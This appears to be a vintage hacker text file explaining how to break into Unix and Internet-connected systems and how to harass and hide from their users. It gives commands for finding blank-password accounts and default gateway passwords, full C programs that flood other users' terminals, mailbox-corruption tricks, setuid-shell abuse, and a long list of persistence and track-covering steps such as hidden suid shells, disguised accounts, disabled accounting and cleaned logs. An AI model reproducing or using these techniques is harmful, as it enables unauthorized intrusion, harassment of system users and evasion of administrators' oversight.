Why do I want to talk about InterNet? Well, because it is a prime
example of a TCP/IP network, better known as a WAN (Wide-Area-Network).
Now, mainly you will find BSD systems off of the Internet, or SunOS, for
they are the most common. They may not be when System V, Rel 4.0, Version
2.0 comes out. Anyway, these BSDs/SunOSs like to make it easy to jump
from one computer to another once you are logged in. What happens is
EACH system has a “yellow page password file”. Better known as yppasswd.
If you look in there, and see blank passwords you can use rsh, rlogin, etc..
to slip into that system. One system in particular I came across had a
a yppasswd file where *300* users had blank passwords in the Yellow Pages.
Once I got in on the “test” account, ALL I had to do was select who I wanted
to be, and do: rlogin -l user (sometimes -n). Then it would log me onto
the system I was already on, through TCP/IP. However, when you do this,
remember that the yppasswd only pertains to the system you are on at
the time.
To find accounts, you could find the yppasswd file and do:
% cat yppasswd | grep ::
Or, if you can’t find yppasswd..
% ypcat passwd | grep ::
On ONE system (which will remain confidential), I found the DAEMON account
left open in the yppasswd file. Not bad. Anyway, through one system
on the internet, you can reach many. Just use rsh, or rlogin, and look
in the file: /etc/hosts for valid sites which you can reach. If you get
on to a system, and rlogin to somewhere else, and it asks for a password,
that just means one of two things:
A. Your account that you have hacked on the one computer is on the target
computer as well. Try to use the same password (if any) you found the
hacked account to have. If it is a default, then it is definitly on the
other system, but good luck…
B. rlogin/rsh passed your current username along to the remote system, so it
was like typing in your login at a “login: ” prompt. You may not exist on
the other machine. Try “rlogin -l login_name”, or rlogin -n name..
sometimes, you can execute “rwho” on another machine, and get a valid
account.
Some notes on Internet servers. There are “GATEWAYS” that you can get into
that will allow access to MANY internet sites. They are mostly run off
a modified GL/1 or GS/1. No big deal. They have help files. However,
you can get a “privilged” access on them, which will give you CONTROL of
the gateway.. You can shut it down, remove systems from the Internet, etc..
When you request to become privileged, it will ask for a password. There is
a default. The default is “system”. I have come across *5* gateways with
the default password. Then again, DECNET has the same password, and I have
come across 100+ of those with the default privileged password. CERT Sucks.
a Gateway that led to APPLE.COM had the default password. Anyone could
have removed apple.com from the internet. Be advised that there are many
networks now that use TCP/IP.. Such as BARRNET, LANET, and many other
University networks.
have phun!
Now, if nothing else, you should atleast have some fun. No, I do not mean
go trashing hardrives, or unlinking directories to take up inodes, I mean
play with online users. There are many things to do. Re-direct output
to them is the biggie. Here is an example:
$ who
loose tty1
hubby tty2
$ banner You Suck >/dev/tty1
$
That sent the output to loose. The TTY1 is where I/O is being performed
to his terminal (usually a modem if it is a TTY). You can repetitiously
banner him with a do while statement in shell, causing him to logoff. Or
you can get sly, and just screw with him. Observe this C program:
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
main(argc,argument)
int argc;
char *argument[];
{
int handle;
char *pstr,*olm[80];
char *devstr = “/dev/”;
int acnt = 2;
FILE *strm;
pstr = “”;
if (argc == 1) {
printf(“OL (OneLiner) Version 1.00 \n”);
printf(“By hubby\n”);
exit(1);
}
printf(“OL (OneLiner) Version 1.0\n”);
printf(“By hubby\n”);
if (argc == 2) {
strcpy(olm,”");
printf(“\ndude! You forgot to Supply a ONE LINE MESSAGE\n”);
printf(“Enter one Here => “);
gets(olm);
}
strcpy(pstr,”");
strcat(pstr,devstr);
strcat(pstr,argument[1]);
printf(“Sending to: [%s]\n”,pstr);
strm = fopen(pstr,”a”);
if (strm == NULL) {
printf(“Error writing to: %s\n”,pstr);
printf(“Cause: No Write Perms?\n”);
exit(2);
}
if (argc == 2) {
if (strcmp(logname(),”hubby”) != 0) fprintf(strm,”Message from (%s): \n”,logname());
fprintf(strm,”%s\n”,olm);
fclose(strm);
printf(“Message Sent.\n”);
exit(0);
}
if (argc > 2) {
if (strcmp(logname(),”hubby”) != 0) fprintf(strm,”Message from (%s):\n”,logname());
while (acnt <= argc – 1) {
fprintf(strm,”%s “,argument[acnt]);
acnt++;
}
fclose(strm);
printf(“Message sent!\n”);
exit(0);
}
}
What the above does is send one line of text to a device writeable by you
in /dev. If you try it on a user named “hubby” it will notify hubby
of what you are doing. You can supply an argument at the command line, or
leave a blank message, then it will prompt for one. You MUST supply a
Terminal. Also, if you want to use ?, or *, or (), or [], you must not
supply a message at the command line, wait till it prompts you. Example:
$ ol tty1 You Suck!
OL (OneLiner) Version 1.00
by hubby
Sending to: [/dev/tty1]
Message Sent!
$
Or..
$ ol tty1
OL (OneLiner) Version 1.00
by hubby
dude! You forgot to Supply a ONE LINE MESSAGE
Enter one here => Loozer! Logoff (NOW)!! ^G^G
Sending to: [/dev/tty1]
Message Sent!
$
You can even use it to fake messages from root. Here is another:
/*
* Hose another user
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <utmp.h>
#include <time.h>
#include <termio.h>
#include <sys/utsname.h>
#define NMAX sizeof(ubuf.ut_name)
struct utmp ubuf;
struct termio oldmode, mode;
struct utsname name;
int yn;
int loop = 0;
char *realme[50] = “Unknown”;
char *strcat(), *strcpy(), me[50] = “???”, *him, *mytty, histty[32];
char *histtya, *ttyname(), *strrchr(), *getenv();
int signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();
FILE *tf;
main(argc, argv)
int argc;
char *argv[];
{
register FILE *uf;
char c1, lastc;
int goodtty = 0;
long clock = time((long *) 0);
struct tm *localtime();
struct tm *localclock = localtime( &clock );
struct stat stbuf;
char psbuf[20], buf[80], window[20], junk[20];
FILE *pfp, *popen();
if (argc < 2) {
printf(“usage: hose user [ttyname]\n”);
exit(1);
}
him = argv[1];
if (argc > 2)
histtya = argv[2];
if ((uf = fopen(“/etc/utmp”, “r”)) == NULL) {
printf(“cannot open /etc/utmp\n”);
exit(1);
}
cuserid(me);
if (me == NULL) {
printf(“Can’t find your login name\n”);
exit(1);
}
mytty = ttyname(2);
if (mytty == NULL) {
printf(“Can’t find your tty\n”);
exit(1);
}
if (stat(mytty, &stbuf) < 0) {
printf(“Can’t stat your tty — This System is bogus.\n”);
}
if ((stbuf.st_mode&02) == 0) {
printf(“You have write permissions turned off (hehe!).\n”);
}
if (histtya) {
if (!strncmp(histtya, “/dev/”, 5))
histtya = strrchr(histtya, ‘/’) + 1;
strcpy(histty, “/dev/”);
strcat(histty, histtya);
}
while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) {
if (ubuf.ut_name[0] == ”)
continue;
if (!strncmp(ubuf.ut_name, him, NMAX)) {
logcnt++;
if (histty[0]==0) {
strcpy(histty, “/dev/”);
strcat(histty, ubuf.ut_line);
}
if (histtya) {
if (!strcmp(ubuf.ut_line, histtya))
goodtty++;
}
}
}
fclose(uf);
if (logcnt==0) {
printf(“%s not found! (Not logged in?)\n”, him);
exit(1);
}
if (histtya==0 && logcnt > 1) {
printf(“%s logged more than once\nwriting to %s\n”, him, histty+5);
}
if (access(histty, 0) < 0) {
printf(“No such tty? [%s]\n”,histty);
exit(1);
}
signal(SIGALRM, timout);
alarm(5);
if ((tf = fopen(histty, “w”)) == NULL)
goto perm;
alarm(0);
if (fstat(fileno(tf), &stbuf) < 0)
goto perm;
if (geteuid() != 0 && (stbuf.st_mode&02) == 0)
goto perm;
ioctl(0, TCGETA, &oldmode); /* save tty state */
ioctl(0, TCGETA, &mode);
sigs(eof);
uname(&name);
if (strcmp(him,”YOURNAMEHERE”) == 0) yn = 1;
if (yn == 1 ) {
fprintf(tf, “\r(%s attempted to HOSE You with NW)\r\n”,me);
fclose(tf);
printf(“Critical Error Handler: %s running conflicting process\n”,him);
exit(1);
}
fflush(tf);
mode.c_cc[4] = 1;
mode.c_cc[5] = 0;
mode.c_lflag &= ~ICANON;
ioctl(0, TCSETAW, &mode);
lastc = ‘\n’;
printf(“Backspace / Spin Cursor set lose on: %s\n”,him);
while (loop == 0) {
c1 = ‘\b’;
write(fileno(tf),&c1,1);
sleep(5);
fprintf(tf,”\\\b|\b/\b-\b+\b”);
fflush(tf);
}
perm:
printf(“Write Permissions denied!\n”);
exit(1);
}
timout()
{
printf(“Timeout opening their tty\n”);
exit(1);
}
eof()
{
printf(“Bye..\n”);
ioctl(0, TCSETAW, &oldmode);
exit(0);
}
ex()
{
register i;
sigs(SIG_IGN);
i = fork();
if (i < 0) {
printf(“Try again\n”);
goto out;
}
if (i == 0) {
sigs((int (*)())0);
execl(getenv(“SHELL”)?getenv(“SHELL”):”/bin/sh”,”sh”,”-t”,0);
exit(0);
}
while(wait((int *)NULL) != i)
;
printf(“!\n”);
out:
sigs(eof);
}
sigs(sig)
int (*sig)();
{
register i;
for (i=0; signum[i]; i++)
signal(signum[i], sig);
}
What the above is, is a modified version of the standard write command.
What it does, is spin the cursor once, then backspace once over the
screen of the user it is run on. All though, it does not physically affect
input, the user thinks it does. therefore, he garbles input. The sleep(xx)
can be changed to make the stuff happen more often, or less often.
If you put your login name in the “YOURNAMEHERE” slot, it will protect you
from getting hit by it, if someone off a Public access unix leeches the
executable from your directory.
You could make a shorter program that does almost the same thing, but
you have to supply the terminal, observe:
/* Backspace virus, by hubby */
#include <stdio.h>
#include <fcntl.h>
main(argc,argv)
char *argv[];
int argc;
{
int x = 1;
char *device = “/dev/”;
FILE *histty;
if (argc == 1) {
printf(“Bafoon. Supply a TTY.\n”);
exit(1);
}
strcat(device,argv[1]);
/* Make the filename /dev/tty.. */
histty = fopen(device,”a”);
if (histty == NULL) {
printf(“Error opening/writing to tty. Check their perms.\n”);
exit(1);
}
printf(“BSV – Backspace virus, By hubby.\n”);
printf(“The Sucker on %s is getting it!\n”,device);
while (x == 1) {
fprintf(histty,”\b\b”);
fflush(histty);
sleep(5);
}
}
Thats all there is to it. If you can write to their tty, you can use this on
them. It sends two backspaces to them every approx. 5 seconds. You
should run this program in the background. (&). Here is an example:
$ who
hubby tty11
loose tty12
$ bsv tty12&
[1] 4566
BSV – Backspace virus, by hubby
The Sucker on /dev/tty12 is getting it!
$
Now, it will keep “attacking” him, until he loggs of, or you kill the process
(which was 4566 — when you use &, it gives the pid [usually]).
** Note *** Keep in mind that MSDOS, and other OP systems use The CR/LF
method to terminate a line. However, the LF terminates a line in Unix.
you must STRIP CR’s on an ascii upload if you want something you upload
to an editor to work right. Else, you’ll see a ^M at the end of every
line. I know that sucks, but you just have to compensate for it.
I have a number of other programs that annoy users, but that is enough to
get your imagination going, provided you are a C programmer. You can annoy
users other ways. One thing you can do is screw up the user’s mailbox.
The way to do this is to find a binary file (30k or bigger) on the system
which YOU have access to read. then, do this:
$ cat binary_file | mail loose
or
$ mail loose < binary file
That usually will spilt into 2 messages or more. The 1st message will
have a from line.. (from you ..), but the second WILL NOT! Since it does
not, the mail reader will keep exiting and giving him an error message until
it gets fixed.. The way to fix it is to go to the mail box that got hit
with this trick (usually only the one who got hit (or root) and do this),
and edit the file, and add a from line.. like
From username..
then it will be ok. You can screw the user by “cat”ing a binary to his tty.
say Loose is on tty12. You can say..
$ cat binary_file >/dev/tty12
$
It may pause for a while while it outputs it. If you want to resume what
you were doing instantly, do:
$ cat binary_file >/dev/tty12&
[1] 4690
$
And he will probably logoff. You can send the output of anything to his
terminal. Even what YOU do in shell. Like this:
$ sh >/dev/tty12
$
You’ll get your prompts, but you won’t see the output of any commands, he
will…
$ ls
$ banner Idiot!
$ echo Dumbass!
$
until you type in exit, or hit ctrl-d.
There are many many things you can do. You can fake a “write” to someone
and make them think it was from somewhere on the other side of hell. Be
creative.
When you are looking for things to do, look for holes, or try to get
someone to run a trojan horse that makes a suid shell. If you get
someone to run a trojan that does that, you can run the suid, and log their
ass off by killing their mother PID. (kill -9 whatever). Or, you can
lock them out by adding “kill -1 0″ to their .profile. On the subject of
holes, always look for BAD suid bits. On one system thought to be invincible
I was able to read/modify everyone’s mail, because I used a mailer that had
both the GroupID set, and the UserID set. When I went to shell from it,
the program instantly changed my Effective ID back to me, so I would not be
able to do anything but my regular stuff. But it was not designed to change
the GROUP ID back. The sysop had blundered there. SO when I did an ID
I found my group to be “Mail”. Mailfiles are readble/writeable by the
user “mail”, and the group “mail”. I then set up a sgid (set group id) shell
to change my group id to “mail” when I ran it, and scanned important mail,
and it got me some good info. So, be on the look out for poor permissions.
==========================================================
if you got root? then…
Also, after you gain access, you may want to keep it. Some tips on doing so
is:
1. Don’t give it out. If the sysadm sees that joeuser logged in 500
times in one night….then….
2. Don’t stay on for hours at a time. They can trace you then. Also
they will know it is irregular to have joeuser on for 4 hours
after work.
3. Don’t trash the system. Don’t erase important files, and don’t
hog inodes, or anything like that. Use the machine for a specific
purpose (to leech source code, develop programs, an Email site).
Dont be an asshole, and don’t try to erase everything you can.
4. Don’t screw with users constantly. Watch their processes and
run what they run. It may get you good info (snoop!)
5. If you add an account, first look at the accounts already in there
If you see a bunch of accounts that are just 3 letter abbrv.’s,
then make yours so. If a bunch are “cln, dok, wed” or something,
don’t add one that is “joeuser”, add one that is someone’s
full initials.
6. When you add an account, put a woman’s name in for the
description, if it fits (Meaning, if only companies log on to the
unix, put a company name there). People do not suspect hackers
to use women’s names. They look for men’s names.
7. Don’t cost the Unix machine too much money. Ie.. don’t abuse an
outdial, or if it controls trunks, do not set up a bunch of dial
outs. If there is a pad, don’t use it unless you NEED it.
8. Don’t use x.25 pads. Their usage is heavily logged.
9. Turn off acct logging (acct off) if you have the access to.
Turn it on when you are done.
10. Remove any trojan horses you set up to give you access when you
get access.
11. Do NOT change the MOTD file to say “I hacked this system” Just
thought I’d tell you. Many MANY people do that, and lose access
within 2 hours, if the unix is worth a spit.
12. Use good judgement. Cover your tracks. If you use su, clean
up the sulog.
13. If you use cu, clean up the cu_log.
14. If you use the smtp bug (wizard/debug), set up a uid shell.
15. Hide all suid shells. Here’s how:
goto /usr
(or any dir)
do:
# mkdir “.. “
# cd “.. “
# cp /bin/sh “.whatever”
# chmod a+s “.whatever”
The “” are NEEDED to get to the directory .. ! It will not show
up in a listing, and it is hard as hell to get to by sysadms if
you make 4 or 5 spaces in there (“.. “), because all they will
see in a directory FULL list will be .. and they won’t be able to
get there unless they use “” and know the spacing. “” is used
when you want to do literals, or use a wildcard as part of a file
name.
16. Don’t hog cpu time with password hackers. They really don’t work
well.
17. Don’t use too much disk space. If you archieve something to dl,
dl it, then kill the archieve.
18. Basically — COVER YOUR TRACKS.
Some final notes:
Now, I hear lots of rumors and stories like “It is getting harder to get
into systems…”. Wrong. (Yo Pheds! You reading this??). It IS true
when you are dealing with WAN’s, such as telenet, tyment, and the Internet,
but not with local computers not on those networks. Here’s the story:
Over the past few years, many small companies have sprung up as VARs
(Value Added Resellers) for Unix and Hardware, in order to make a fast
buck. Now, these companies fast talk companies into buying whatever,
and they proceed in setting up the Unix. Now, since they get paid by
the hour usaually when setting one up, they spread it out over days….
during these days, the system is WIDE open (if it has a dialin). Get
in and add yourself to passwd before the seal it off (if they do..).
Then again, after the machine is set up, they leave the defaults on the
system. Why? The company needs to get in, and most VARs cannot use
unix worth a shit, all they know how to do is set it up, and that is ALL.
Then, they turn over the system to a company or business that USUALLY
has no-one that knows what they hell they are doing with the thing, except
with menus. So, they leave the system open to all…(inadvertedly..),
because they are not competant. So, you could usually get on, and create
havoc, and at first they will think it is a bug.. I have seen this
happen ALL to many times, and it is always the same story…
The VAR is out for a fast buck, so they set up the software (all they know
how to do), and install any software packages ordered with it (following
the step by step instructions). Then they turn it over to the business
who runs a word processor, or database, or something, un aware that a
“shell” or command line exists, and they probably don’t even know root does.
So, we will see more and more of these pop up, especially since AT&T is
now bundling a version of Xwindows with their new System V, and Simultask…
which will lead to even more holes. You’ll find systems local to you
that are easy as hell to get into, and you’ll see what I mean. These
VARs are really actually working for us. If a security problem arises
that the business is aware of, they call the VAR to fix it… Of course,
the Var gets paid by the hour, and leaves something open so you’ll get in
again, and they make more moolahhhh.
You can use this phile for whatever you want. I can’t stop you. Just
to learn unix (heh) or whatever. But its YOUR ass if you get caught.
Always consider the penalties before you attempt something. Sometimes
it is not worth it, Sometimes it is.
